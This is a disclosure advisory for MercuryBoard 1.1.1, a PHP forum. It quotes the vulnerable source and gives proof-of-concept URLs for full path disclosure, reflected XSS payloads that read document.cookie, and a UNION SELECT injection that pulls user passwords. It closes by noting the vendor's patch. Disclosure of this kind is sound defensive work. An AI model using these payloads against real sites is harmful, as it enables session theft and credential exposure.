Multiple vulnerabilities in MercuryBoard 1.1.1

["Alberto Trivero" <trivero@xxxxxxxx>]

*************************************************************
* CODEBUG Labs
* Advisory #7
* Title: Multiple vulnerabilities in MercuryBoard 1.1.1
* Author: Alberto Trivero
* English Version: Alberto Trivero
* Product: MercuryBoard 1.1.1
* Type: Multiple Vulnerabilities
* Web: http://www.codebug.org/
*************************************************************


--) Software Page (www.mercuryboard.com)

"MercuryBoard is a powerful message board system dedicated to raw speed with
a mixture of
features, ease of use, and ease of customization coupled with expandability,
and diverse
language services." Note that is write in PHP OOP.


--) Full Path Disclosure

Let's look at original code from global.php line 604:

<?
    ...
    // some base variables
    $current = ceil($min / $num);
    $string  = null;
    $pages   = ceil($rows / $num);
    $end     = ($pages - 1) * $num;
    ...
?>

As we can see there isn't a control to $num and so if we simply assign to
$num the value 0
(or a not numerical argument), there will be an impossible division by zero
that show the
full path:

    http://www.sitewithmercuryboard.com/index.php?a=forum&f=2&min=0&n=0

Other Full Path Disclosure:

    http://www.sitewithmercuryboard.com/lib/jpgraph/jpgraph_bar.php
    http://www.sitewithmercuryboard.com/lib/jpgraph/jpgraph_log.php
    http://www.sitewithmercuryboard.com/lib/jpgraph/jpgraph_polar.php
    http://www.sitewithmercuryboard.com/admincp/admin.php
    http://www.sitewithmercuryboard.com/func/[file] <--- All the PHP file in
the dyrectory:
                                             active.php board.php
constants.php cp.php
                                             debug.php email.php forum.php
help.php login.php
                                             members.php mod.php pm.php
post.php printer.php
                                             profile.php register.php
search.php topic.php


--) Cross-Site Scripting (XSS)

Let's look at original code from /func/pm.php line 36:

<?
    ...
    if (!isset($this->get['s'])) {
      $this->get['s'] = null;
    }
    switch($this->get['s'])
    {
    case 'send':
      return $this->send();
      break;
    case 'view':
      return $this->view();
      break;
    case 'delete':
      return $this->delete_pm();
      break;
    case 'clear':
      return $this->clear();
      break;
    default:
      return $this->folder();
      break;
    }
    ...
?>

As we can see there is a switch/case cycle to get 's' but in this cycle
there isn't any
check if we put other parameter with 's', like this XSS code:


http://www.sitewithmercuryboard.com/index.php?a=pm&s='><script>alert(document.cookie)</script>

Let's look again at original code from /func/members.php line 35:

<?
    ...
    if (!isset($this->get['l'])) {
      $this->get['l'] = null;
    } else {
      $this->get['l'] = strtoupper($this->get['l']);
    }
    ...
?>

As we can see, also in this case, there isn't parsing methods for the
processing of 'l',
so nothing can prevent us from doing an XSS attack:


http://www.sitewithmercuryboard.com/index.php?a=members&l='><script>alert(document.cookie)</script>

Other Cross-Site Scripting:


http://www.sitewithmercuryboard.com/index.php?a='><script>alert(document.cookie)</script>

http://www.sitewithmercuryboard.com/index.php?a=post&s='><script>alert(document.cookie)</script>

http://www.sitewithmercuryboard.com/index.php?a=post&s=reply&t='><script>alert(document.cookie)</script>

http://www.sitewithmercuryboard.com/index.php?a=pm&s=send&to='><script>alert(document.cookie)</script>

http://www.sitewithmercuryboard.com/index.php?a=pm&s=send&to=2&re='><script>alert(document.cookie)</script>

http://www.sitewithmercuryboard.com/index.php?a=cp&s='><script>alert(document.cookie)</script>


--) SQL Injection

For the same reason because it's possible to execute the XSS codes described
before, it's
also possible to do SQL Injection attacks. But in this case it's a
non-critical bug, why?
Because we need first login as forum administrator to make successful
attack. For example:


http://www.sitewithmercuryboard.com/index.php?a=post&s=reply&t=0%20UNION%20SELECT%20user_id,%20user_password%20FROM%20mb_users%20/*

With the URL before we get, for the just described reason, an error like
this (verified
only on MercuryBoard 1.1.0):

    The used SELECT statements have a different number of columns


--) Patch

After the report to developer of the board of these bugs, they released the
version 1.1.2
of MercuryBoard that correct them:
http://www.mercuryboard.com/index.php?a=downloads


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        http://www.codebug.org
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